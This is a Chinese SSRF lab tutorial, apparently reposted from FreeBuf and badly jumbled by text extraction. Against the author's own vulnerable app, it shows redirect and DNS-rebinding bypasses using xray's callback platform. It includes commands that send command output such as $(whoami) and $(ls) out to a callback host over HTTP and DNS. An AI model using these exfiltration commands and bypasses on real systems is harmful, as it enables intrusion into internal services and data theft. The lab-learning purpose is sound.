搜索

[14613] 2019-09-21_使用Xray反连平台挖掘和验证SSRF

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2019-09-21_使用Xray反连平台挖掘和验证SSRF 使 用 X r a y 反 连 平 台 挖 掘 和 验 证 S S R F v i r u s d e f e n d e r   F r e e B u f   2 0 1 9 - 0 9 - 2 1 S S R F ， ， S e r v e r - S i d e   R e q u e s t   F o r g e r y ， 服 务 端 请 求 伪 造 ， 是 一 种 由 攻 击 者 构 造 形 成 由 服 务 器 端 发 起 请 求 的 一 个 漏 洞 。 一 般 情 况 下 ， ， 服 务 端 请 求 伪 造 ， 是 一 种 由 攻 击 者 构 造 形 成 由 服 务 器 端 发 起 请 求 的 一 个 漏 洞 。 一 般 情 况 下 ， S S R F   攻 击 的 目 标 是 从 外 网 无 法 访 问 的 内 部 系 统 。 攻 击 的 目 标 是 从 外 网 无 法 访 问 的 内 部 系 统 。 漏 洞 形 成 的 原 因 大 多 是 因 为 服 务 端 提 供 了 从 其 他 服 务 器 应 用 获 取 数 据 的 功 能 且 没 有 对 目 标 地 址 作 正 确 的 过 滤 和 限 制 漏 洞 形 成 的 原 因 大 多 是 因 为 服 务 端 提 供 了 从 其 他 服 务 器 应 用 获 取 数 据 的 功 能 且 没 有 对 目 标 地 址 作 正 确 的 过 滤 和 限 制   。 。 目 标 是 什 么 目 标 是 什 么 在   h t t p s : / / g i t h u b . c o m / v i r u s d e f e n d e r / s s r f - a p p   提 供 了 一 个   s s r f   的 实 例 程 序 ， d o c k e r - c o m p o s e   b u i l d   & &   d o c k e r - c o m p o s e   u p   之 后 ， 浏 览 器 访 问   h t t p : / / v u l n . n e t : 8 0 0 0 / ? u r l = h t t p : / / e x a m p l e . c o m ， 系 统 就 会 抓 取 指 定 的 地 址 的 网 页 并 返 回 ， 就 可 以 看 到 和 直 接 访 问   h t t p : / / e x a m p l e . c o m   一 样 的 页 面 。 要 注 意 的 是 ， v u l n . n e t   是 我 绑 定 的   h o s t   到   d o c k e r   容 器 的   I P ， 我 使 用 的   d o c k e r   f o r   m a c ， i p   为   1 2 7 . 0 . 0 . 1 ， 这 其 实 是 经 过 端 口 转 发 的 ， 后 端 服 务 器 实 际 并 不 在 我 本 地 ， 这 里 可 以 看 实 际 情 况 去 修 改 。 另 外 已 知 在   / a p i / i n t e r n a l / s e c r e t   上 存 放 了 一 个   s e c r e t   a p i   服 务 ， 目 标 就 是 去 访 问 它 然 后 获 取   s e c r e t ， 直 接 访 问 当 然 是 不 行 了 ， 会 提 示   I P   不 在 允 许 范 围 内 。 首 先 的 思 路 就 是 使 用 抓 取 网 页 的   a p i   去 访 问   s e c r e t   a p i ， 所 以 先 尝 试 将   u r l   参 数 换 成 内 网   I P ， 然 后 访 问 查 看 。 直 接 访 问 直 接 访 问   1 2 7 . 0 . 0 . 1   和 使 用 和 使 用   l o c a l h o s t   域 名 域 名 第 一 个 尝 试 的 当 然 是   1 2 7 . 0 . 0 . 1 ， 但 是 访 问   h t t p : / / v u l n . n e t : 8 0 0 0 / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0   却 提 示   1 2 7 . 0 . 0 . 1   i s   f o r b i d d e n ， 尝 试 使 用   l o c a l h o s t   域 名 绕 过 ， 也 是 同 样 的 提 示 ， 怀 疑 后 端 有 尝 试 去 解 析   i p 然 后 做 验 证 。 尝 试 扫 内 网 吧 尝 试 扫 内 网 吧 如 果 更 换 为 其 他 的 内 网   i p ， 会 提 示 连 接 超 时   H T T P C o n n e c t i o n P o o l ( h o s t = ' 1 9 2 . 1 6 8 . 1 . 1 ' ,   p o r t = 8 0 0 0 ) :   M a x   r e t r i e s   e x c e e d e d   w i t h   u r l :   /   ( C a u s e d   b y   C o n n e c t T i m e o u t E r r o r ( ,   ' C o n n e c t i o n   t o   1 9 2 . 1 6 8 . 1 . 1 t i m e d   o u t .   ( c o n n e c t   t i m e o u t = 2 ) ' ) ) ， 当 然 这 也 是 探 测 内 网   i p   和 端 口 是 否 存 在 的 一 种 特 征 。 但 是 经 过 尝 试 ， 常 见 的   I P   和 端 口 都 是 超 时 的 ， 服 务 器 应 该 是 没 有 内 网 的 （ 此 处 应 该 写 一 个 脚 本 去 扫 描 更 多 的   I P   和 端 口 ） 。 所 以 重 点 就 在 于 如 何 绕 过 对   1 2 7 . 0 . 0 . 1   的 限 制 了 。 看 看 看 看   I P v 6 首 先 是 尝 试 使 用   I P v 6   去 绕 过 ， 访 问   h t t p : / / v u l n . n e t : 8 0 0 0 / ? u r l = h t t p : / / [ : : 1 ] : 8 0 0 0 ， 如 果 服 务 器 监 听 了   I P v 6   的 地 址 ， 就 可 以 绕 过 ， 因 为 访 问 的 确 实 不 是   1 2 7 . 0 . 0 . 1 。 但 是 经 过 测 试 发 现 还 是 报 错 ， [ E r r n o - 2 ]   N a m e   o r   s e r v i c e   n o t   k n o w n ， 可 能 后 端 有 一 些 函 数 是 不 支 持   I P v 6   的 ， 像 是 将   [ : : 1 ]   按 照 一 个 域 名 去 解 析 了 ， 所 以 这 条 路 走 不 通 了 。 3 0 x   跳 转 也 许 可 以 跳 转 也 许 可 以 接 下 来 是 利 用   3 0 x   跳 转 去 绕 过 ， 因 为 看 上 面 的 报 错 信 息 ， 后 端 应 该 是   P y t h o n ， P y t h o n   的   r e q u e s t s   等 库 都 是 默 认 允 许 跳 转 的 ， 如 果 可 以 提 供 一 个 非   1 2 7 . 0 . 0 . 1   的   u r l ， 然 后 访 问 的 时 候 返 回 一 个   3 0 2 跳 转 到   1 2 7 . 0 . 0 . 1   上 去 就 可 以 了 。 我 们 需 要 一 个 可 以 方 便 的 自 定 义   h t t p   r e s p o n s e   的 平 台 ， 一 种 思 路 就 是 配 置 一 个   N g i n x ， 结 合 配 置 文 件 或 者   L u a   脚 本 可 以 完 全 的 实 现 各 种 自 定 义 ， 但 是 稍 有 些 麻 烦 ， 这 时 候 我 们 就 应 该 请 出   x r a y   自 带 的 反 连 平 台 了 ， 它 可 以 方 便 的 在 网 页 上 配 置 我 们 期 望 的 东 西 。 使 用 使 用   x r a y   自 带 的 反 连 平 台 自 带 的 反 连 平 台 如 何 配 置 如 何 配 置 首 先 去   G i t H u b   下 载 最 新 的   x r a y   二 进 制 文 件 ， 然 后 运 行   . / x r a y   h e l p   让   x r a y   生 成 一 个 默 认 的 配 置 文 件   c o f i g . y a m l 。 我 们 需 要 在 这 个 配 置 文 件 中 配 置 反 连 平 台 的 一 些 参 数 ， 默 认 是 配 置 如 下 。 r e v e r s e :     d b _ f i l e _ p a t h :   " . / x r a y . d b "     t o k e n :   " "     h t t p :         e n a b l e d :   t r u e         l i s t e n _ i p :   1 2 7 . 0 . 0 . 1         l i s t e n _ p o r t :   " "     d n s :         e n a b l e d :   f a l s e         l i s t e n _ i p :   1 2 7 . 0 . 0 . 1         d o m a i n :   " "         #   静 态 解 析 规 则         r e s o l v e :         -   t y p e :   A   #   A ,   A A A A ,   T X T   三 种             r e c o r d :   l o c a l h o s t
暂 时 只 需 要 反 连 平 台 的   H T T P   相 关 功 能 ， 而 不 需 要 漏 洞 扫 描 和 反 连 平 台   D N S   相 关 的 功 能 ， 所 以 只 关 心 上 面   D N S   以 外 的 配 置 文 件 就 足 够 了 。 为 了 让 之 前 提 到 的 存 在   s s r f   漏 洞 的 应 用 可 以 访 问 的 到 ， 我 们 将   x r a y   运 行 在 一 个 公 网   I P   的 机 器 上 ， 所 以   x r a y   监 听 的   I P   等 等 都 需 要 配 置 ， 将 上 面 的 配 置 修 改 如 下 。 修 改 完 成 之 后 ， 运 行   . / x r a y   r e v e r s e ， 就 可 以 看 到 反 连 平 台 启 动 了 。 访 问 提 示 的 地 址   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / c l a n d /   就 可 以 看 到 反 连 平 台 的 的 界 面 了 。 点 击   生 成 一 个   U R L   就 会 提 示 输 入   t o k e n 。 反 连 平 台 的 反 连 平 台 的   H T T P   访 问 记 录 功 能 访 问 记 录 功 能 先 按 照 页 面 上 的 提 示 先 测 试 下 反 连 平 台 的 功 能 ， 运 行   c u r l   - v   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / p / 8 9 a c f e / H 3 4 v / 然 后 在 左 边 的   H T T P   一 栏 中 就 可 以 看 到 了 访 问 记 录 而 且 反 连 平 台 支 持 在   u r l   后 面 随 意 添 加 参 数 ， 比 如   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / p / 8 9 a c f e / H 3 4 v / $ ( w h o a m i ) ， 这 样 在 测 试 一 些 命 令 执 行 漏 洞 的 时 候 ， 就 很 方 便 的 将 一 些 执 行 结 果 带 出 来 。 如 果   u r l   位 置 的 长 度 不 够 ， 还 可 以 使 用   P O S T   方 法 。 比 如   c u r l   - v   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / p / 8 9 a c f e / H 3 4 v /   - d   " $ ( l s ) "   就 可 以 看 到 访 问 记 录 是 这 样 的 。             r e c o r d :   l o c a l h o s t             v a l u e :   1 2 7 . 0 . 0 . 1             t t l :   6 0     c l i e n t :         h t t p _ b a s e _ u r l :   " "         d n s _ s e r v e r _ i p :   " "         r e m o t e _ s e r v e r :   f a l s e r e v e r s e :     #   数 据 库 文 件 路 径 ， 默 认 不 用 修 改 。     #   本 文 件 只 能 一 个 进 程 访 问 ， 如 果 启 动 两 个   x r a y   就 需 要 指 定 不 同 的 路 径 。     d b _ f i l e _ p a t h :   " . / x r a y . d b "     #   用 于 生 成 的   u r l   验 证 ， 否 则 反 连 平 台 的   I P   一 旦 泄 露 ， 任 何 人 访 问 你 的 平 台 都 会 被 记 录 访 问 记 录 。     #   有 了   t o k e n   可 以 限 制 生 效 范 围 ， 而 且 修 改   t o k e n   就 可 以 失 效 以 前 的   u r l 。     #   我 们 修 改 为 一 个 自 定 义 的 值     t o k e n :   " i m t o k e n 1 "     h t t p :         e n a b l e d :   t r u e         #   监 听 地 址 ， 我 们 在 公 网 机 器 上 需 要 修 改 为   ` 0 . 0 . 0 . 0 ` ， 让 所 有 地 址 都 可 以 访 问         #   注 意 不 一 定 是 机 器 的 公 网   I P ， 本 机 不 一 定 拥 有 这 个   I P ， 否 则 会 出 错         l i s t e n _ i p :   " 0 . 0 . 0 . 0 "         #   监 听 端 口 ， 我 们 使 用   4 4 4 5         l i s t e n _ p o r t :   " 4 4 4 5 "     #   d n s   部 分 没 有 修 改     c l i e n t :         #   指 定   h t t p   部 分 的 访 问 地 址 ， 这 里 才 应 该 是 机 器 的 公 网   I P         h t t p _ b a s e _ u r l :   " h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 "         d n s _ s e r v e r _ i p :   " "         r e m o t e _ s e r v e r :   f a l s e [ I N F O ]   2 0 1 9 - 0 9 - 0 8   0 9 : 2 5 : 0 2   + 0 8 0 0   [ d e f a u l t : c o n f i g . g o : 1 6 0 ]   l o a d i n g   c o n f i g   f r o m   c o n f i g . y a m l r e v e r s e   s e r v e r   b a s e   u r l :   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 ,   t o k e n :   i m t o k e n 1 r e v e r s e   s e r v e r   w e b U I :   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / c l a n d / [ D B U G ]   2 0 1 9 - 0 9 - 0 8   0 9 : 2 5 : 0 3   + 0 8 0 0   [ d e f a u l t : r e v e r s e . g o : 4 0 ]   r e v e r s e   h t t p   s e r v e r   s t a r t e d ,   b a s e   u r l :   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 ,   t o k e n :   i m t o k e n 1 [ I N F O ]   2 0 1 9 - 0 9 - 0 8   0 9 : 2 5 : 0 3   + 0 8 0 0   [ r e v e r s e : h t t p _ s e r v e r . g o : 1 1 8 ]   s t a r t i n g   r e v e r s e   h t t p   s e r v e r $   c u r l   - v   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / p / 8 9 a c f e / H 3 4 v / *       T r y i n g   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 . . . *   T C P _ N O D E L A Y   s e t *   C o n n e c t e d   t o   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1   ( 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 )   p o r t   4 4 4 5   ( # 0 ) >   G E T   / p / 8 9 a c f e / H 3 4 v /   H T T P / 1 . 1 >   H o s t :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 >   U s e r - A g e n t :   c u r l / 7 . 5 4 . 0 >   A c c e p t :   * / * > <   H T T P / 1 . 1   2 0 0   O K <   C o n t e n t - S e c u r i t y - P o l i c y :   d e f a u l t - s r c   ' s e l f ' ;   s c r i p t - s r c   ' s e l f '   ' u n s a f e - i n l i n e ' ;   o b j e c t - s r c   ' s e l f ' ;   s t y l e - s r c   ' s e l f '   ' u n s a f e - i n l i n e ' ;   i m g - s r c   ' s e l f ' ;   m e d i a - s r c   ' s e l f ' ;   f r a m e - s r c   <   X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f <   X - F r a m e - O p t i o n s :   S A M E O R I G I N <   X - X s s - P r o t e c t i o n :   1 ;   m o d e = b l o c k <   D a t e :   S u n ,   0 8   S e p   2 0 1 9   0 1 : 2 8 : 1 6   G M T <   C o n t e n t - L e n g t h :   2 2 < *   C o n n e c t i o n   # 0   t o   h o s t   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1   l e f t   i n t a c t { " c o d e " : 0 , " d a t a " : n u l l } %
反 连 平 台 指 定 反 连 平 台 指 定   r e s p o n s e   功 能 功 能 话 说 回 来 ， 为 了 验 证 之 前 利 用 跳 转 进 行 绕 过 的 思 路 ， 我 们 在   x r a y   的 反 连 平 台 上 创 建 一 个   u r l ， 然 后 指 定   s t a t u s   c o d e   和   h e a d e r   就 可 以 了 。 在 网 页 上 配 置 起 来 也 是 非 常 的 简 单 。 点 击 保 存 之 后 ， 我 们 先 用   c u r l   测 试 下 。 工 作 一 切 正 常 。 跳 转 可 以 绕 过 验 证 ， 成 功 跳 转 可 以 绕 过 验 证 ， 成 功 ~ 访 问   h t t p : / / v u l n . n e t : 8 0 0 0 / ? u r l = h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / p / 1 c d 0 a 7 / 3 O G A /   发 现 漏 洞 利 用 成 功 ， 查 看 反 连 平 台 的 访 问 记 录 ， 也 验 证 了 之 前 的 猜 测 ， 后 端 是 一 个   P y t h o n   的 服 务 。 有 什 么 其 他 的 绕 过 么 有 什 么 其 他 的 绕 过 么 第 一 个 思 路 使 用 跳 转 绕 过 验 证 利 用 成 功 ， 在 开 头 我 们 怀 疑 后 端 一 开 始 会 先 解 析 一 下 域 名 为   I P ， 否 则 使 用   l o c a l h o s t   等 域 名 就 直 接 绕 过 了 ， 这 里 就 可 能 引 入 另 外 一 个 问 题 ， 后 端 检 查 时 候 的 域 名 解 析 结 果 和 最 后   r e q u e s t s   访 问 的 时 候 的 域 名 解 析 结 果 一 定 一 样 么 ？ 两 次 解 析 两 次 解 析   I P   一 定 一 样 么 一 定 一 样 么 我 们 这 么 怀 疑 有 有 依 据 的 L i n u x   的   g e t a d d r b y n a m e   等 函 数 只 会 返 回 一 个   I P ， 但 是 实 际 上 一 个 域 名 是 可 以 配 置 多 条   I P   的 ， 那 这 时 候 ， 如 果 返 回   I P   的 顺 序 是 随 机 的 ， 就 可 能 被 绕 过 。 为 了 提 高 性 能 而 且 减 轻   d n s   服 务 器 的 负 担 ， 域 名 的 解 析 记 录 都 是 有 缓 存 时 间 的 ， 就 是   T T L ， 一 般 为   6 0 s   或 者   6 0 0 s ， 但 是 也 可 以 配 置 为   0 ， 这 样 每 次 向   d n s   服 务 器 查 询 ， d n s   服 务 器 都 需 要 去 这 个 域 名 的   n s   服 务 器 重 新 查 询 。 本 条 思 路 在 实 践 中 主 要 存 在 两 个 问 题 ( 1 主 流 的 公 开 的   n s   服 务 器 都 不 能 配 置   T T L   为   0 ， 只 能 使 用 自 己 的 解 析 服 务 。 ( 2 很 多   d n s   服 务 器 并 不 完 全 遵 循   T T L ， 比 如 配 置 了   T T L   为   0   也 会 强 制 缓 存 一 小 段 时 间 。 经 过 验 证 ， 8 . 8 . 8 . 8   提 供 的   d n s   服 务 器 是 完 全 遵 循 的 。 6 块 钱 买 一 个 域 名 来 测 试 块 钱 买 一 个 域 名 来 测 试 为 了 测 试   d n s   r e b i n d i n g   漏 洞 ， 我 们 需 要 去 购 买 一 个 域 名 ， 当 然 是 选 择 最 便 宜 的 了 ， 反 正 使 用 没 有 任 何 区 别 ， 我 是 在 阿 里 云 购 买 的   r e v c . x y z   域 名 ， 一 年 只 需 要   6   块 钱 ， 如 果 不 需 要 长 期 持 有 ， 第 二 年 重 新 购 买 一 个 就 足 够 了 ， 因 为 续 费 是 比 较 贵 的 。 $   c u r l   - v   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 / p / 1 c d 0 a 7 / 3 O G A / *       T r y i n g   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 . . . *   T C P _ N O D E L A Y   s e t *   C o n n e c t e d   t o   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1   ( 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 )   p o r t   4 4 4 5   ( # 0 ) >   G E T   / p / 1 c d 0 a 7 / 3 O G A /   H T T P / 1 . 1 >   H o s t :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 >   U s e r - A g e n t :   c u r l / 7 . 5 4 . 0 >   A c c e p t :   * / * > <   H T T P / 1 . 1   3 0 2   F o u n d <   C o n t e n t - T y p e :   t e x t / h t m l <   L o c a t i o n :   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / a p i / i n t e r n a l / s e c r e t <   D a t e :   S u n ,   0 8   S e p   2 0 1 9   0 1 : 4 2 : 4 1   G M T <   C o n t e n t - L e n g t h :   0 < *   C o n n e c t i o n   # 0   t o   h o s t   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1   l e f t   i n t a c t
按 照 上 面 的 思 路 ， 我 们 需 要 将 这 个 域 名 的   n s   服 务 器 修 改 为 自 己 的 ， 这 时 候 我 们 可 以 再 去 借 助   x r a y   自 带 的 反 连 平 台 了 ， 因 为 它 也 是 支 持 作 为   n s   服 务 器 去 解 析 域 名 的 ， 去 阿 里 云 的 管 理 界 面 修 改 就 可 以 了 。 然 后 遇 到 了 拦 路 虎 ， n s   服 务 器 必 须 是 域 名 ， 而 不 能 是   I P ， 这 时 候 我 们 还 需 要 再 去 买 一 个 域 名 ？ 鸡 生 蛋 还 是 蛋 生 鸡 的 问 题 鸡 生 蛋 还 是 蛋 生 鸡 的 问 题 其 实 不 是 的 ， 我 们 完 全 自 己 解 析 自 己 ， 也 就 是   n s 1 . r e v c . x y z   和   n s 2 . r e v c . x y z   作 为   r e v c . x y z   的   n s   服 务 器 。 这 时 候 有 人 可 能 有 疑 问 ， 这 不 是 鸡 生 蛋 蛋 生 鸡 的 问 题 么 ， n s 1   和   n s 2   去 哪 里 解 析 ， 这 其 实 是   d n s   提 供 的 功 能 ， 添 加   g l u e   r e c o r d ， 我 们 可 以 先 不 用 了 解 细 节 ， 直 接 去 配 置 即 可 。 就 在 左 侧 导 航 栏 的   自 定 义   D N S   H o s t   里 面 。 我 们 配 置   n s 1   和   n s 2   为 服 务 器 的   I P ， 然 后 回 到 上 一 个 页 面 配 置   n s   为   n s 1 . r e v c . x y z   和   n s 2 . r e v c . x y z   就 可 以 了 。 然 后 注 意 下 面 的 提 示 ， 我 们 还 需 要 添 加   n s 1   和   n s 2   的   A   记 录 。 这 些 都 可 以 在   x r a y   的 反 连 平 台 中 配 置 。 编 辑 刚 才 的 配 置 文 件 . / x r a y   r e v e r s e   启 动 ， 这 时 候 可 以 看 到 提 示 信 息 多 了 一 些 ， d n s   s e r v e r   也 启 动 了 。 要 注 意 的 是   d n s   服 务 需 要 监 听   U D P   5 3   端 口 ， 需 要   r o o t   权 限 而 且 记 得 在 防 火 墙 中 放 行 。 反 连 平 台 可 以 解 析 反 连 平 台 可 以 解 析   * . r e v c . x y z   的 任 意 域 名 了 的 任 意 域 名 了 回 到 界 面 上 ， 点 击   生 成 一 个 域 名 ， 我 们 先 来 验 证 一 下 之 前 的 配 置 有 没 有 生 效 ， 因 为   n s   记 录 大 概 需 要 几 个 小 时 才 能 全 球 生 效 ， 当 然 如 果 指 定 了   d n s   服 务 器 为 自 己 的 的 话 ， 就 不 需 要 了 。 可 以 看 出 来   n s 1   的 解 析 记 录 是 对 的 ， 这 个 是 我 们 配 置 文 件 中 的 静 态 解 析 规 则 。 r e v e r s e :     #   其 他 的 项 目 没 有 修 改   . . .     d n s :         e n a b l e d :   t r u e         #   和 之 前   h t t p   的   l i s t e n   i p   含 义 一 样 ， 修 改 为   0 . 0 . 0 . 0         l i s t e n _ i p :   " 0 . 0 . 0 . 0 "         #   刚 才 注 册 的 域 名         d o m a i n :   " r e v c . x y z "         #   静 态 解 析 规 则 ， 如 果 请 求 解 析 的 域 名 在 下 面 配 置 了 ， 就 直 接 返 回 对 应 的 结 果         #   d n s   r e b i n d i n g   返 回 的   i p   是 动 态 的         #   示 例 配 置 文 件 的 中 的   l o c a l h o s t   是 演 示 使 用 的 ， 我 们 添 加   n s 1   和   n s 2   的   A   记 录         r e s o l v e :         -   t y p e :   A             r e c o r d :   n s 1             v a l u e :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1             t t l :   6 0         -   t y p e :   A             r e c o r d :   n s 2             t t l :   6 0             v a l u e :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1     c l i e n t :         d n s _ s e r v e r _ i p :   " 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 "         #   其 他 的 项 目 没 有 修 改   . . . [ I N F O ]   2 0 1 9 - 0 9 - 0 8   1 0 : 2 0 : 1 6   + 0 8 0 0   [ d e f a u l t : c o n f i g . g o : 1 6 0 ]   l o a d i n g   c o n f i g   f r o m   c o n f i g . y a m l r e v e r s e   s e r v e r   b a s e   u r l :   h t t p : / / 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 : 4 4 4 5 ,   t o k e n :   i m t o k e n 1 r e v e r s e   s e r v e r   w e b U I :   h t t p : $ d i g   n s 1 . r e v c . x y z   A   @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ;   < < > >   D i G   9 . 1 0 . 6   < < > >   n s 1 . r e v c . x y z   A   @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ; ;   g l o b a l   o p t i o n s :   + c m d ; ;   G o t   a n s w e r : ; ;   - > > H E A D E R < < -   o p c o d e :   Q U E R Y ,   s t a t u s :   N O E R R O R ,   i d :   8 5 2 ; ;   f l a g s :   q r   a a   r d ;   Q U E R Y :   1 ,   A N S W E R :   1 ,   A U T H O R I T Y :   0 ,   A D D I T I O N A L :   0 ; ;   W A R N I N G :   r e c u r s i o n   r e q u e s t e d   b u t   n o t   a v a i l a b l e ; ;   Q U E S T I O N   S E C T I O N : ; n s 1 . r e v c . x y z .                     I N     A ; ;   A N S W E R   S E C T I O N : n s 1 . r e v c . x y z .               6 0     I N     A       1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ; ;   Q u e r y   t i m e :   7 5   m s e c ; ;   S E R V E R :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 # 5 3 ( 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ) ; ;   W H E N :   S u n   S e p   0 8   1 0 : 2 2 : 2 3   C S T   2 0 1 9 ; ;   M S G   S I Z E     r c v d :   5 8
在 界 面 上 可 以 生 成 一 个 新 域 名 ， 如 果 我 们 不 需 要   d n s   r e b i n d i n g   的 功 能 ， 只 需 要 查 看 解 析 记 录 的 话 ， 那 和 之 前 的   H T T P   访 问 记 录 功 能 没 有 太 大 差 别 ， 比 如   d i g   p - 9 f d 8 8 9 - l z y k . $ ( w h o a m i ) . r e v c . x y z A @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1   就 可 以 看 到 左 侧   D N S   一 栏 中 的 记 录 了 。 实 际 解 析 的 域 名 中 间 的 部 分 就 是 执 行 命 令 的 结 果 。 d n s   r e b i n d i n g   也 可 以 绕 过 验 证 ， 成 功 也 可 以 绕 过 验 证 ， 成 功 ~ 话 说 回 来 ， 为 了 验 证 我 们 之 前 利 用   d n s   r e b i n d i n g   进 行 绕 过 的 思 路 ， 我 们 在   x r a y   的 反 连 平 台 上 创 建 一 个   域 名 ， 然 后 指 定 两 次 不 同 的 解 析   I P   而 且   T T L   为   0   就 可 以 了 。 在 网 页 上 配 置 起 来 也 是 非 常 的 简 单 。 点 击 保 存 之 后 ， 同 样 是 先 本 地 测 试 一 下 。 可 以 看 出 来 第 一 次 和 第 二 次 的 解 析 结 果 是 不 一 样 的 ， 将   D N S   服 务 器 更 换 为   8 . 8 . 8 . 8   可 以 得 到 相 同 的 结 果 。 因 为   d n s   r e b i n d i n g   配 置 的 两 次 访 问 是 有 顺 序 的 ， 而 且 我 们 已 经 都 访 问 过 了 ， 如 果 再 次 去 解 析 这 个 域 名 ， 反 连 平 台 就 只 能 返 回 默 认 的 解 析 结 果 了 ， 这 时 候 可 以 通 过 再 次 点 击 保 存 按 钮 来 重 置 访 问 顺 序 。 构 造   h t t p : / / v u l n . n e t : 8 0 0 0 / ? u r l = h t t p : / / p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z : 8 0 0 0 / a p i / i n t e r n a l / s e c r e t   的   u r l ， 我 们 又 获 取 到 了   s e c r e t 。 在   D N S   解 析 历 史 记 录 中 ， 我 们 看 到 了 两 个   G o o g l e   的   I P ， 也 就 是 说 明   P y t h o n   的 后 端 去 解 析 了 两 次 ， 因 为   T T L = 0 ， d n s   服 务 器 每 次 都 要 回 源 重 新 解 析 ， 这 样 第 一 次 和 第 二 次 访 问 结 果 不 一 致 也 就 绕 过 了 检 查 。 备 注 备 注 1 . 使 用   0 . 0 . 0 . 0   代 替   1 2 7 . 0 . 0 . 1   是 另 外 一 种 绕 过 思 路 2 . 利 用 上 面 的 思 路 访 问 本 地 的   2 2   和   6 3 7 9   还 可 以 发 现   S S H   和   R e d i s   服 务 ， 也 是 一 个 重 要 的 信 息 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： v i r u s d e f e n d e r ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 $ d i g   p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z   A   @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ;   < < > >   D i G   9 . 1 0 . 6   < < > >   p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z   A   @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ; ;   g l o b a l   o p t i o n s :   + c m d ; ;   G o t   a n s w e r : ; ;   - > > H E A D E R < < -   o p c o d e :   Q U E R Y ,   s t a t u s :   N O E R R O R ,   i d :   3 5 ; ;   f l a g s :   q r   a a   r d ;   Q U E R Y :   1 ,   A N S W E R :   1 ,   A U T H O R I T Y :   0 ,   A D D I T I O N A L :   0 ; ;   W A R N I N G :   r e c u r s i o n   r e q u e s t e d   b u t   n o t   a v a i l a b l e ; ;   Q U E S T I O N   S E C T I O N : ; p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z .                 I N     A ; ;   A N S W E R   S E C T I O N : p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z .   0       I N     A       1 . 2 . 3 . 4 ; ;   Q u e r y   t i m e :   5 4   m s e c ; ;   S E R V E R :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 # 5 3 ( 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ) ; ;   W H E N :   S u n   S e p   0 8   1 0 : 2 9 : 2 5   C S T   2 0 1 9 ; ;   M S G   S I Z E     r c v d :   7 8 $ d i g   p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z   A   @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ;   < < > >   D i G   9 . 1 0 . 6   < < > >   p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z   A   @ 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ; ;   g l o b a l   o p t i o n s :   + c m d ; ;   G o t   a n s w e r : ; ;   - > > H E A D E R < < -   o p c o d e :   Q U E R Y ,   s t a t u s :   N O E R R O R ,   i d :   5 7 0 0 1 ; ;   f l a g s :   q r   a a   r d ;   Q U E R Y :   1 ,   A N S W E R :   1 ,   A U T H O R I T Y :   0 ,   A D D I T I O N A L :   0 ; ;   W A R N I N G :   r e c u r s i o n   r e q u e s t e d   b u t   n o t   a v a i l a b l e ; ;   Q U E S T I O N   S E C T I O N : ; p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z .                 I N     A ; ;   A N S W E R   S E C T I O N : p - 0 4 f 8 8 7 - 2 k u a . r e v c . x y z .   0       I N     A       1 2 7 . 0 . 0 . 1 ; ;   Q u e r y   t i m e :   4 9   m s e c ; ;   S E R V E R :   1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 # 5 3 ( 1 4 0 . 1 4 3 . 2 2 4 . 1 7 1 ) ; ;   W H E N :   S u n   S e p   0 8   1 0 : 2 9 : 